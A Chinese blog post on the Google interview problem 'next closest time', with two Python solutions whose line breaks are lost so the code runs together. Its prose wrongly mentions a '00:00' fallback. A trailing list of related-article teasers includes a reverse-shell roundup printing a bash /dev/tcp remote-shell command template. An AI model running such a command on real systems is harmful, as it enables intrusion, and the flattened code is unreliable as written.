谷歌(Google)技术面试——在线评估问题(二)

谷歌(Google)面试过程的第一步,你可能会收到一个在线评估链接。 评估有效期为 7 天,包含两个编码问题,需要在一小时内完成。 以下是一些供你练习的在线评估问题

在本章结尾处,还提供了有关 Google 面试不同阶段的更多详细信息。

最近时刻

给定一个形如 “HH:MM” 表示的时刻 time ,利用当前出现过的数字构造下一个距离当前时间最近的时刻。每个出现数字都可以被无限次使用。

可以认为给定的字符串一定是合法的。例如, “01:34” 和 “12:09” 是合法的,“1:34” 和 “12:9” 是不合法的。

示例 1:

输入: “19:34”
输出: “19:39”
解释: 利用数字 1, 9, 3, 4 构造出来的最近时刻是 19:39,是 5 分钟之后。
结果不是 19:33 因为这个时刻是 23 小时 59 分钟之后。

示例 2:

输入: “23:59”
输出: “22:22”
解释: 利用数字 2, 3, 5, 9 构造出来的最近时刻是 22:22。
答案一定是第二天的某一时刻,所以选择可构造的最小时刻。

提示

  • time.length == 5
  • time 为有效时间,
  • 格式为 “HH:MM”.
  • 0 <= HH < 24 0 <= MM < 60

思路一

我们可以按照以下步骤解决这个问题:

  1. 将给定的时间转换为分钟数,方便后续计算。
  2. 从给定的时间开始,不断增加时间,直到找到一个满足条件的时间为止:
    a. 从当前时间中提取出所有数字,并将它们放入一个集合中。
    b. 从当前时间开始依次增加时间,直到找到一个满足条件的时间:
    i. 对于小时部分和分钟部分,分别从0到9遍历,如果当前数字不在集合中,则跳过。
    ii. 如果找到一个满足条件的时间,即小时和分钟都在集合中,并且时间不等于给定时间,则返回这个时间。
  3. 如果上述步骤中没有找到满足条件的时间,则说明需要跳到下一天的最小时间,即00:00。

示例代码

def nextClosestTime(time):# 将给定的时间转换为分钟数minutes = int(time[:2]) * 60 + int(time[3:])# 从给定的时间开始,不断增加时间,直到找到一个满足条件的时间为止while True:# 从当前时间中提取出所有数字,并将它们放入一个集合中digits = set()for char in time:if char != ':':digits.add(int(char))# 从当前时间开始依次增加时间,直到找到一个满足条件的时间minutes = (minutes + 1) % (24 * 60)next_time = '{:02d}:{:02d}'.format(minutes // 60, minutes % 60)if all(int(char) in digits for char in next_time):return next_time# 示例 1
time1 = "19:34"
print(nextClosestTime(time1)) # 输出: "19:39"# 示例 2
time2 = "23:59"
print(nextClosestTime(time2)) # 输出: "22:22"

这个函数首先将给定的时间转换为分钟数,然后从给定的时间开始,不断增加时间,直到找到一个满足条件的时间。在增加时间的过程中,对于每一个时间,都提取出其中的数字,并将它们放入一个集合中。然后依次增加时间,直到找到一个满足条件的时间。如果找到了满足条件的时间,则返回该时间;否则返回下一天的最小时间"00:00"。

思路二

另一种解题思路是将时间表示成两个部分:小时和分钟,并且利用循环的方式逐个增加小时和分钟来寻找最接近的时间。具体步骤如下:

  1. 将给定的时间转换成小时和分钟,方便后续计算。
  2. 从给定时间的下一分钟开始,逐个增加分钟和小时,直到找到满足条件的时间。
  3. 如果没有找到满足条件的时间,则返回第二天的最小时间"00:00"。

代码示例

def nextClosestTime(time):# 将给定的时间转换为小时和分钟hours, minutes = map(int, time.split(":"))current_time = hours * 60 + minutes# 获取时间中的所有数字,并将其放入集合中digits = set(int(char) for char in time if char != ':')# 从给定时间的下一分钟开始,逐个增加分钟和小时,直到找到满足条件的时间while True:current_time = (current_time + 1) % (24 * 60)next_hours, next_minutes = divmod(current_time, 60)if all(digit in digits for digit in divmod(next_hours, 10) + divmod(next_minutes, 10)):return '{:02d}:{:02d}'.format(next_hours, next_minutes)# 示例 1
time1 = "19:34"
print(nextClosestTime(time1)) # 输出: "19:39"# 示例 2
time2 = "23:59"
print(nextClosestTime(time2)) # 输出: "22:22"

这个函数首先将给定的时间转换为小时和分钟,并计算出当前时间的总分钟数。然后从下一分钟开始循环增加分钟和小时,直到找到满足条件的时间为止。在循环的每一步中,判断小时和分钟的每一位数字是否在给定的时间中出现过,如果全部符合则返回该时间。如果循环结束后仍未找到满足条件的时间,则返回第二天的最小时间"00:00"。

谷歌(Google)技术面试系列

  • 谷歌(Google)技术面试概述
  • 谷歌(Google)历年编程真题——数组和字符串(螺旋矩阵)
  • 谷歌(Google)历年编程真题——数组和字符串(加一)
  • 谷歌(Google)技术面试——在线评估问题(一)
  • 谷歌(Google)技术面试——在线评估问题(二)
  • 谷歌(Google)技术面试——在线评估问题(三)
  • 谷歌(Google)技术面试——在线评估问题(四)
  • 谷歌(Google)技术面试——全部面试流程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/805750.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】初识Linux,虚拟机安装Linux系统,配置网卡

前言 VMware软件&#xff1a;首先&#xff0c;确保您已经下载了VMware Workstation软件并安装在电脑上。VMware Workstation是一款功能强大的虚拟化软件&#xff0c;它允许在单一物理机上运行多个操作系统。 Linux镜像文件&#xff1a;需要准备一个Linux操作系统的镜像文件。…

win64平台用cmake编译lvgl

一、编译步骤 1&#xff0c;配置 mkdir build cd build 配置release&#xff0c;动态库 cmake .. -G"Visual Studio 17 2022" -DCMAKE_BUILD_TYPERelease -DCMAKE_INSTALL_PREFIXinstall -DBUILD_SHARED_LIBSON -DCMAKE_WINDOWS_EXPORT_ALL_SYMBOLSON -DLV_CO…

python使用uiautomator2操作雷电模拟器9找图

接上篇文章python使用uiautomator2操作雷电模拟器9并遇到解决adb 连接emulator-5554 unauthorized问题-CSDN博客 搭建好uiautomator2后&#xff0c;主要就是使用了。 本文就利用uiautomator2的截屏、模拟点击和aircv的找图功能&#xff0c;实现对指定寻找的图片的位置的点击。…

java程序生成exe文件启动时,在没有java环境计算机运行

1.idea项目配置工件 2. 开始构建java程序成jar包 3. 生成exe启动程序

【图像分类】MMPretrain训练ImageNet格式自定义数据集

1. 安装环境 1.1. Conda虚拟环境 conda create --name mmpretrain python3.8 -y conda activate mmpretrain 1.2. 安装PyTorch pip install torch1.13.1cu117 torchvision0.14.1cu117 torchaudio0.13.1 --extra-index-url https://download.pytorch.org/whl/cu117 1.3. 安…

结构型模式--3.组合模式【草帽大船团】

1. 好大一棵树 路飞在德雷斯罗萨打败多弗朗明哥之后&#xff0c;一些被路飞解救的海贼团自愿加入路飞麾下&#xff0c;自此组成了草帽大船团&#xff0c;旗下有7为船长&#xff0c;分别是&#xff1a; 俊美海贼团75人 巴托俱乐部56人 八宝水军1000人 艾迪欧海贼团4人 咚塔塔海…

交换机的基本原理与配置_实验案例一:交换机的初始配置

1、实验环境 实验用具包括一台Cisco交换机&#xff0c;一台PC&#xff0c;一根Console 线缆。 2、需求描述 如图5.17所示&#xff0c;实验案例一的配置需求如下。 通过PC连接并配置一台Cisco交换机。在交换机的各个配置模式之间切换。将交换机主机的名称改为BDON 3、推荐步…

滴滴春招内幕揭秘:2024最全Spring JPA面试题大全,含详解与实战示例!百分之九十九的Java后端开发者都在收藏!

在2024年的技术招聘市场中&#xff0c;滴滴出行作为领先的移动出行平台&#xff0c;对后端开发人员的需求依然强劲。随着Spring框架在企业级Java应用开发中的广泛应用&#xff0c;Spring Data JPA作为数据访问层的关键技术&#xff0c;成为了滴滴面试中的重要考察点之一。Sprin…

【滑动窗口】

滑动窗口算法是解决一类特定问题的有效方法&#xff0c;尤其适用于涉及数组/字符串的连续元素问题。这里有一些常见的应用题型&#xff0c;可以用C实现滑动窗口算法来解决&#xff1a; 最小覆盖子串&#xff1a;给定一个字符串S和一个字符串T&#xff0c;在S中找到最小的子串&a…

知网参考文献引用格式转latex中BibTex-Python操作

处理思路 参考 处理步骤&#xff1a; &#xff08;单条处理&#xff1a;&#xff09; 1、选知网NoteExpress格式的2-7行复制信息 2、新建一个文本文件&#xff0c;命名为cite.txt&#xff0c;把知网所复制信息粘贴进来 &#xff08;txt文件保存编码ANSI可行&#xff09; 3、…

SpringBoot登录校验拦截器Interceptor

什么是拦截器 是一种动态拦截方法调用的机制&#xff0c;类似于过滤器。 拦截器是Spring框架中提供的&#xff0c;用来动态拦截控制器方法的执行。 拦截器的作用&#xff1a; 拦截请求&#xff0c;在指定方法调用前后&#xff0c;根据业务需要执行预先设定的代码。 在拦截器…

Double.toString()原理

转变过程 如图&#xff0c;假设将double类型能精确表示的数字落在数轴上&#xff0c;分别是double1、double2、double3。 这个时候&#xff0c;我们有十进制数字a&#xff0c;想要转变成double表示&#xff0c;这个时候得到的是double2&#xff0c;因为double2是距离这个十进制…

进制转换(2 8 10 16 String)

题目 public class Main {static String s "0123456789abcdef";//m 2 8 10 16public static int res(int n,int m) {StringBuffer sb new StringBuffer(); while(n!0) {sb.append(s.charAt(n%m));n/m;}//转换为对应进制之后String s sb.reverse().toString();ch…

反弹shell方式汇总

反弹shell汇总 文章旨意在于总结各类反弹shell,有不足或漏缺请各位是否指出. 注意有些反弹shell的方法或脚本只适用于Linux或者Windows&#xff0c;注意区分相关脚本的编写方式方法。 bash bash -i >& /dev/[tcp|udp]/[host]/[port] 0>&1 /bin/bash -i >…

2023NJU-ICS PA1.2表达式求值 思路详解 心得体会

前言 PA1.2的细节非常非常多&#xff0c;导致这几天花了大量的时间去调试bug&#xff0c;4.3晚上终于过了最后一关“如何测试你的代码”&#xff08;花了两整天时间才调成功&#xff09;。虽然耗时巨大&#xff0c;但确实学到了不少东西、训练了能力&#xff0c;于是抽几天时间…

Hystrix的概念、作用、使用方法

Hystrix 是 Netflix 开源的一个用于分布式系统的延迟和容错库&#xff0c;其主要目的是提供容错能力&#xff0c;防止分布式系统中的雪崩效应。 概念&#xff1a; Hystrix 提供了一个弹性、可控的延迟和容错机制&#xff0c;通过对服务调用进行隔离、降级、断路器等处理&#…

【IC前端虚拟项目】时序面积优化与综合代码出版本交付

【IC前端虚拟项目】数据搬运指令处理模块前端实现虚拟项目说明-CSDN博客 到目前为止,我们完成了第一版综合,那么就可以打开报告看一下了,一看就会发现在1GHz时钟下时序真的很差(毕竟虚拟项目里使用的工艺库还是比较旧的,如果用12nm、7mn会好很多): Timing Path Group cl…

echarts地图自定义label属性以及引入china.js

效果图: 要点1:calc函数 重点&#xff1a;在于mapChart的height可以写成函数以便适配不同尺寸&#xff1b; <div class"content-map"><div class"wai-top-box" style"width: 100%; height: 100%"><div id"mapChart" s…

【算法优选】 动态规划之简单多状态dp问题——贰

文章目录 &#x1f38b;前言&#x1f334;[买卖股票的最佳时机含冷冻期](https://leetcode.cn/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/)&#x1f6a9;题目描述&#x1f6a9;算法思路&#xff1a;&#x1f388;状态表示&#xff1a;&#x1f388;…

Host Aware SMR

SMR 简介 首先给一点前置SMR知识。 SMR优势&#xff1a;Capacity的提升。 看图&#xff1a;由于重叠Track使得存储密度得到了提升。但是由于Track的重叠&#xff0c;使得SMR只能顺序写。 在SMR中&#xff0c;多个Track组成一个Band&#xff0c;各个Band之间可以随机写 这个 …